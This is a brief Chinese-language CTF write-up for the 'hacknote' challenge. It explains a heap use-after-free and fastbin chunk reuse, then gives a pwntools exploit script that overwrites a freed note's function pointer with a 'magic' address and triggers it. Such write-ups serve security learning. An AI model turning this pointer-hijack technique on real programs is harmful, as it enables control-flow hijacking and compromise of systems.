hacknote
原理:UAF,内存块被释放后,对应的指针没有被设置为null,在下一次使用前对内存内容进行修改,可以控制指针
hecknote的分析在ctf -wiki上很详细这里贴出一些问题
1.关于fastbib chunk链表
http://www.cnblogs.com/Ox9A82/p/5865420.html
2.为什么note2的content地址是note0的put地址
因为chunk0和chunk1的content属于fastbin chunk,chunk2只有8字节,所以会优先分配大小合适的且刚free的chunk块
3.exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import *
r = process('./hacknote')
def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)
def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx))
def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
#gdb.attach(r) magic = 0x08048986
addnote(32, "aaaa") # add note 0 addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0 delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
|